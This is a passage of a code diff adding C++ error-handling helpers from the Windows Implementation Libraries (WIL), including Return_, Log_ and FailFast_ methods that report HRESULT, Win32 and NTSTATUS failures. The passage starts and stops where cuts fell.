WI_NOEXCEPT + { + __R_FN_LOCALS; + return wil::details::ReportFailure_GetLastErrorHr(__R_DIRECT_FN_CALL_ONLY); + } + + _Success_(true) + _Translates_NTSTATUS_to_HRESULT_(status) + __R_DIRECT_METHOD(HRESULT, Return_NtStatus)(__R_DIRECT_FN_PARAMS NTSTATUS status) WI_NOEXCEPT + { + __R_FN_LOCALS; + return wil::details::ReportFailure_NtStatus(__R_DIRECT_FN_CALL status); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + __R_DIRECT_METHOD(HRESULT, Return_CaughtException)(__R_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __R_FN_LOCALS; + return wil::details::ReportFailure_CaughtException(__R_DIRECT_FN_CALL_ONLY); + } +#endif + + __R_DIRECT_METHOD(void, Return_HrMsg)(__R_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__R_DIRECT_FN_CALL hr, formatString, argList); + } + + _Success_(true) + _Translates_Win32_to_HRESULT_(err) + __R_DIRECT_METHOD(HRESULT, Return_Win32Msg)(__R_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + return wil::details::ReportFailure_Win32Msg(__R_DIRECT_FN_CALL err, formatString, argList); + } + + _Success_(true) + _Translates_last_error_to_HRESULT_ + __R_DIRECT_METHOD(HRESULT, Return_GetLastErrorMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + return wil::details::ReportFailure_GetLastErrorHrMsg(__R_DIRECT_FN_CALL formatString, argList); + } + + _Success_(true) + _Translates_NTSTATUS_to_HRESULT_(status) + __R_DIRECT_METHOD(HRESULT, Return_NtStatusMsg)(__R_DIRECT_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + return wil::details::ReportFailure_NtStatusMsg(__R_DIRECT_FN_CALL status, formatString, argList); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + __R_DIRECT_METHOD(HRESULT, Return_CaughtExceptionMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + return wil::details::ReportFailure_CaughtExceptionMsg(__R_DIRECT_FN_CALL formatString, argList); + } +#endif + + //***************************************************************************** + // Log Macros + //***************************************************************************** + + _Post_satisfies_(return == hr) + __R_DIRECT_METHOD(HRESULT, Log_Hr)(__R_DIRECT_FN_PARAMS HRESULT hr) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_Hr(__R_DIRECT_FN_CALL hr); + return hr; + } + + _Post_satisfies_(return == err) + __R_DIRECT_METHOD(DWORD, Log_Win32)(__R_DIRECT_FN_PARAMS DWORD err) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_Win32(__R_DIRECT_FN_CALL err); + return err; + } + + __R_DIRECT_METHOD(DWORD, Log_GetLastError)(__R_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __R_FN_LOCALS; + return wil::details::ReportFailure_GetLastError(__R_DIRECT_FN_CALL_ONLY); + } + + _Post_satisfies_(return == status) + __R_DIRECT_METHOD(NTSTATUS, Log_NtStatus)(__R_DIRECT_FN_PARAMS NTSTATUS status) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_NtStatus(__R_DIRECT_FN_CALL status); + return status; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + __R_DIRECT_METHOD(HRESULT, Log_CaughtException)(__R_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __R_FN_LOCALS; + return wil::details::ReportFailure_CaughtException(__R_DIRECT_FN_CALL_ONLY); + } +#endif + + __R_INTERNAL_METHOD(_Log_Hr)(__R_INTERNAL_FN_PARAMS HRESULT hr) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_Hr(__R_INTERNAL_FN_CALL hr); + } + + __R_INTERNAL_METHOD(_Log_GetLastError)(__R_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_GetLastError(__R_INTERNAL_FN_CALL_ONLY); + } + + __R_INTERNAL_METHOD(_Log_Win32)(__R_INTERNAL_FN_PARAMS DWORD err) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_Win32(__R_INTERNAL_FN_CALL err); + } + + __R_INTERNAL_METHOD(_Log_NullAlloc)(__R_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_Hr(__R_INTERNAL_FN_CALL E_OUTOFMEMORY); + } + + __R_INTERNAL_METHOD(_Log_NtStatus)(__R_INTERNAL_FN_PARAMS NTSTATUS status) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_NtStatus(__R_INTERNAL_FN_CALL status); + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == hr) + __R_CONDITIONAL_METHOD(HRESULT, Log_IfFailed)(__R_CONDITIONAL_FN_PARAMS HRESULT hr) + { + if (FAILED(hr)) + { + __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + return hr; + } + + _Post_satisfies_(return == hr) + __R_CONDITIONAL_NOINLINE_METHOD(HRESULT, Log_IfFailedWithExpected)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, unsigned int expectedCount, ...) WI_NOEXCEPT + { + va_list args; + va_start(args, expectedCount); + + if (FAILED(hr)) + { + unsigned int expectedIndex; + for (expectedIndex = 0; expectedIndex < expectedCount; ++expectedIndex) + { + if (hr == va_arg(args, HRESULT)) + { + break; + } + } + + if (expectedIndex == expectedCount) + { + __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + } + + va_end(args); + return hr; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == ret) + __R_CONDITIONAL_METHOD(BOOL, Log_IfWin32BoolFalse)(__R_CONDITIONAL_FN_PARAMS BOOL ret) + { + if (!ret) + { + __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return ret; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == err) + __R_CONDITIONAL_METHOD(DWORD, Log_IfWin32Error)(__R_CONDITIONAL_FN_PARAMS DWORD err) + { + if (FAILED_WIN32(err)) + { + __R_CALL_INTERNAL_METHOD(_Log_Win32)(__R_CONDITIONAL_FN_CALL err); + } + return err; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == handle) + __R_CONDITIONAL_METHOD(HANDLE, Log_IfHandleInvalid)(__R_CONDITIONAL_FN_PARAMS HANDLE handle) + { + if (handle == INVALID_HANDLE_VALUE) + { + __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return handle; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == handle) + __R_CONDITIONAL_METHOD(HANDLE, Log_IfHandleNull)(__R_CONDITIONAL_FN_PARAMS HANDLE handle) + { + if (handle == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return handle; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) + __R_CONDITIONAL_TEMPLATE_METHOD(PointerT, Log_IfNullAlloc)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) WI_NOEXCEPT + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Log_NullAlloc)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_TEMPLATE_METHOD(void, Log_IfNullAlloc)(__R_CONDITIONAL_FN_PARAMS const PointerT& pointer) WI_NOEXCEPT + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Log_NullAlloc)(__R_CONDITIONAL_FN_CALL_ONLY); + } + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == condition) + __R_CONDITIONAL_METHOD(bool, Log_HrIf)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) + { + if (condition) + { + __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + return condition; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == condition) + __R_CONDITIONAL_METHOD(bool, Log_HrIfFalse)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) + { + if (!condition) + { + __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + return condition; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) + __R_CONDITIONAL_TEMPLATE_METHOD(PointerT, Log_HrIfNull)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer) WI_NOEXCEPT + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_TEMPLATE_METHOD(void, Log_HrIfNull)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer) WI_NOEXCEPT + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == condition) + __R_CONDITIONAL_METHOD(bool, Log_GetLastErrorIf)(__R_CONDITIONAL_FN_PARAMS bool condition) + { + if (condition) + { + __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return condition; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == condition) + __R_CONDITIONAL_METHOD(bool, Log_GetLastErrorIfFalse)(__R_CONDITIONAL_FN_PARAMS bool condition) + { + if (!condition) + { + __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return condition; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) + __R_CONDITIONAL_TEMPLATE_METHOD(PointerT, Log_GetLastErrorIfNull)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) WI_NOEXCEPT + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_TEMPLATE_METHOD(void, Log_GetLastErrorIfNull)(__R_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer) WI_NOEXCEPT + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == status) + __R_CONDITIONAL_METHOD(NTSTATUS, Log_IfNtStatusFailed)(__R_CONDITIONAL_FN_PARAMS NTSTATUS status) + { + if (FAILED_NTSTATUS(status)) + { + __R_CALL_INTERNAL_METHOD(_Log_NtStatus)(__R_CONDITIONAL_FN_CALL status); + } + return status; + } + + _Post_satisfies_(return == hr) + __R_DIRECT_METHOD(HRESULT, Log_HrMsg)(__R_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__R_DIRECT_FN_CALL hr, formatString, argList); + return hr; + } + + _Post_satisfies_(return == err) + __R_DIRECT_METHOD(DWORD, Log_Win32Msg)(__R_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_Win32Msg(__R_DIRECT_FN_CALL err, formatString, argList); + return err; + } + + __R_DIRECT_METHOD(DWORD, Log_GetLastErrorMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + return wil::details::ReportFailure_GetLastErrorMsg(__R_DIRECT_FN_CALL formatString, argList); + } + + _Post_satisfies_(return == status) + __R_DIRECT_METHOD(NTSTATUS, Log_NtStatusMsg)(__R_DIRECT_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_NtStatusMsg(__R_DIRECT_FN_CALL status, formatString, argList); + return status; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + __R_DIRECT_METHOD(HRESULT, Log_CaughtExceptionMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + return wil::details::ReportFailure_CaughtExceptionMsg(__R_DIRECT_FN_CALL formatString, argList); + } +#endif + + __R_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__R_INTERNAL_NOINLINE_FN_CALL hr, formatString, argList); + } + + __R_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_GetLastErrorMsg(__R_INTERNAL_NOINLINE_FN_CALL formatString, argList); + } + + __R_INTERNAL_NOINLINE_METHOD(_Log_Win32Msg)(__R_INTERNAL_NOINLINE_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_Win32Msg(__R_INTERNAL_NOINLINE_FN_CALL err, formatString, argList); + } + + __R_INTERNAL_NOINLINE_METHOD(_Log_NullAllocMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__R_INTERNAL_NOINLINE_FN_CALL E_OUTOFMEMORY, formatString, argList); + } + + __R_INTERNAL_NOINLINE_METHOD(_Log_NtStatusMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __R_FN_LOCALS; + wil::details::ReportFailure_NtStatusMsg(__R_INTERNAL_NOINLINE_FN_CALL status, formatString, argList); + } + + _Post_satisfies_(return == hr) + __R_CONDITIONAL_NOINLINE_METHOD(HRESULT, Log_IfFailedMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (FAILED(hr)) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return hr; + } + + _Post_satisfies_(return == ret) + __R_CONDITIONAL_NOINLINE_METHOD(BOOL, Log_IfWin32BoolFalseMsg)(__R_CONDITIONAL_FN_PARAMS BOOL ret, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (!ret) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return ret; + } + + _Post_satisfies_(return == err) + __R_CONDITIONAL_NOINLINE_METHOD(DWORD, Log_IfWin32ErrorMsg)(__R_CONDITIONAL_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (FAILED_WIN32(err)) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_Win32Msg)(__R_CONDITIONAL_NOINLINE_FN_CALL err, formatString, argList); + } + return err; + } + + _Post_satisfies_(return == handle) + __R_CONDITIONAL_NOINLINE_METHOD(HANDLE, Log_IfHandleInvalidMsg)(__R_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (handle == INVALID_HANDLE_VALUE) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return handle; + } + + _Post_satisfies_(return == handle) + __R_CONDITIONAL_NOINLINE_METHOD(HANDLE, Log_IfHandleNullMsg)(__R_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (handle == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return handle; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(PointerT, Log_IfNullAllocMsg)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_NullAllocMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Log_IfNullAllocMsg)(__R_CONDITIONAL_FN_PARAMS const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_NullAllocMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList); + } + } + + _Post_satisfies_(return == condition) + __R_CONDITIONAL_NOINLINE_METHOD(bool, Log_HrIfMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (condition) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return condition; + } + + _Post_satisfies_(return == condition) + __R_CONDITIONAL_NOINLINE_METHOD(bool, Log_HrIfFalseMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (!condition) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return condition; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(PointerT, Log_HrIfNullMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Log_HrIfNullMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + } + + _Post_satisfies_(return == condition) + __R_CONDITIONAL_NOINLINE_METHOD(bool, Log_GetLastErrorIfMsg)(__R_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (condition) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return condition; + } + + _Post_satisfies_(return == condition) + __R_CONDITIONAL_NOINLINE_METHOD(bool, Log_GetLastErrorIfFalseMsg)(__R_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (!condition) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return condition; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(PointerT, Log_GetLastErrorIfNullMsg)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Log_GetLastErrorIfNullMsg)(__R_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + } + + _Post_satisfies_(return == status) + __R_CONDITIONAL_NOINLINE_METHOD(NTSTATUS, Log_IfNtStatusFailedMsg)(__R_CONDITIONAL_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (FAILED_NTSTATUS(status)) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_NtStatusMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL status, formatString, argList); + } + return status; + } + } // namespace __R_NS_NAME + + namespace __RFF_NS_NAME + { + //***************************************************************************** + // FailFast Macros + //***************************************************************************** + + __RFF_DIRECT_NORET_METHOD(void, FailFast_Hr)(__RFF_DIRECT_FN_PARAMS HRESULT hr) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_Hr(__RFF_DIRECT_FN_CALL hr); + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_Win32)(__RFF_DIRECT_FN_PARAMS DWORD err) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_Win32(__RFF_DIRECT_FN_CALL err); + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_GetLastError)(__RFF_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_GetLastError(__RFF_DIRECT_FN_CALL_ONLY); + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_NtStatus)(__RFF_DIRECT_FN_PARAMS NTSTATUS status) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_NtStatus(__RFF_DIRECT_FN_CALL status); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + __RFF_DIRECT_NORET_METHOD(void, FailFast_CaughtException)(__RFF_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_CaughtException(__RFF_DIRECT_FN_CALL_ONLY); + } +#endif + + __RFF_INTERNAL_NORET_METHOD(_FailFast_Hr)(__RFF_INTERNAL_FN_PARAMS HRESULT hr) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_Hr(__RFF_INTERNAL_FN_CALL hr); + } + + __RFF_INTERNAL_NORET_METHOD(_FailFast_GetLastError)(__RFF_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_GetLastError(__RFF_INTERNAL_FN_CALL_ONLY); + } + + __RFF_INTERNAL_NORET_METHOD(_FailFast_Win32)(__RFF_INTERNAL_FN_PARAMS DWORD err) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_Win32(__RFF_INTERNAL_FN_CALL err); + } + + __RFF_INTERNAL_NORET_METHOD(_FailFast_NullAlloc)(__RFF_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_Hr(__RFF_INTERNAL_FN_CALL E_OUTOFMEMORY); + } + + __RFF_INTERNAL_NORET_METHOD(_FailFast_NtStatus)(__RFF_INTERNAL_FN_PARAMS NTSTATUS status) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_NtStatus(__RFF_INTERNAL_FN_CALL status); + } + + _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(HRESULT, FailFast_IfFailed)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr) WI_NOEXCEPT + { + if (FAILED(hr)) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr); + } + return hr; + } + + _Post_satisfies_(return == ret) _When_(!ret, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(BOOL, FailFast_IfWin32BoolFalse)(__RFF_CONDITIONAL_FN_PARAMS BOOL ret) WI_NOEXCEPT + { + if (!ret) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return ret; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + _Post_satisfies_(return == err) _When_(FAILED_WIN32(err), _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(DWORD, FailFast_IfWin32Error)(__RFF_CONDITIONAL_FN_PARAMS DWORD err) + { + if (FAILED_WIN32(err)) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Win32)(__RFF_CONDITIONAL_FN_CALL err); + } + return err; + } + + _Post_satisfies_(return == handle) _When_(handle == INVALID_HANDLE_VALUE, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(HANDLE, FailFast_IfHandleInvalid)(__RFF_CONDITIONAL_FN_PARAMS HANDLE handle) WI_NOEXCEPT + { + if (handle == INVALID_HANDLE_VALUE) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return handle; + } + + _Post_satisfies_(return == handle) _When_(handle == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(RESULT_NORETURN_NULL HANDLE, FailFast_IfHandleNull)(__RFF_CONDITIONAL_FN_PARAMS HANDLE handle) WI_NOEXCEPT + { + if (handle == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return handle; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template 